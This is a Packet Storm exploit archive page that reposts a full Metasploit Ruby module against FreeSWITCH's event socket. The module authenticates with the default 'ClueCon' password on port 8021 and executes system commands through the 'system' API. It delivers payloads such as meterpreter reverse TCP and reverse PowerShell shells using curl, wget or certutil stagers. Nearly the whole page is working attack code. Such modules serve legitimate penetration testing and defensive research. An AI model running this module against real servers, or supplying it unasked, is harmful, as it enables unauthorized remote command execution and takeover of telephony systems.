exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeSWITCH Event Socket Command Execution

FreeSWITCH Event Socket Command Execution
Posted Nov 14, 2019
Authored by Brendan Coles | Site metasploit.com

This Metasploit module uses the FreeSWITCH event socket interface to execute system commands using the system API command. The event socket service is enabled by default and listens on TCP port 8021 on the local network interface. This module has been tested successfully on FreeSWITCH versions: 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64).

tags | exploit, local, tcp
systems | linux, windows, ubuntu
SHA-256 | 2af6ba6d2dae98ab9fd3f1dbb8b8f6ec3e20238f5bef67966c656048edd77ffc

FreeSWITCH Event Socket Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeSWITCH Event Socket Command Execution',
'Description' => %q{
This module uses the FreeSWITCH event socket interface
to execute system commands using the `system` API command.

The event socket service is enabled by default and listens
on TCP port 8021 on the local network interface.

This module has been tested successfully on FreeSWITCH versions:

1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
1.8.4~64bit on Ubuntu 19.04 (x64); and
1.10.1~64bit on Windows 7 SP1 (EN) (x64).
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' =>
[
['CWE', '260'], # default password, configurable in event_socket.conf.xml
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
],
'Platform' => %w[win linux unix bsd],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
'CmdStagerFlavor' => %w[curl wget certutil vbs],
'Targets' =>
[
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
'Type' => :psh_memory
],
['Windows (In-Memory)',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
'Type' => :win_memory
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
'Type' => :win_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'RPORT' => 8021 },
'DisclosureDate' => '2019-11-03',
'DefaultTarget' => 0))
register_options [
OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
]
end

def check
connect
banner = sock.get_once.to_s
disconnect

if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
vprint_error 'Access denied by network ACL'
return CheckCode::Safe
end

unless banner.include?('Content-Type: auth/request')
return CheckCode::Safe
end

CheckCode::Appears
end

def auth(password)
sock.put "auth #{password}\n\n"
res = sock.get_once.to_s

unless res.include? 'Content-Type: command/reply'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end

unless res.include?('Reply-Text: +OK accepted')
fail_with Failure::NoAccess, 'Login failed'
end

print_status 'Login success'
end

def execute_command(cmd, opts = {})
api_function = opts[:foreground] ? 'system' : 'bg_system'

sock.put "api #{api_function} #{cmd}\n\n"
res = sock.get_once.to_s

unless res.include? 'Content-Type: api/response'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end

vprint_status "Response: #{res}"
end

def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

connect
banner = sock.get_once.to_s

auth(datastore['PASSWORD'])

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :unix_memory
if datastore['PAYLOAD'] == 'cmd/unix/generic'
execute_command(payload.encoded, foreground: true)
else
execute_command(payload.encoded)
end
when :win_memory
if datastore['PAYLOAD'] == 'cmd/windows/generic'
execute_command(payload.encoded, foreground: true)
else
execute_command(payload.encoded)
end
when :psh_memory
execute_command(
cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
when :win_dropper
execute_cmdstager(:linemax => 1_500)
end
ensure
disconnect unless sock.nil?
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close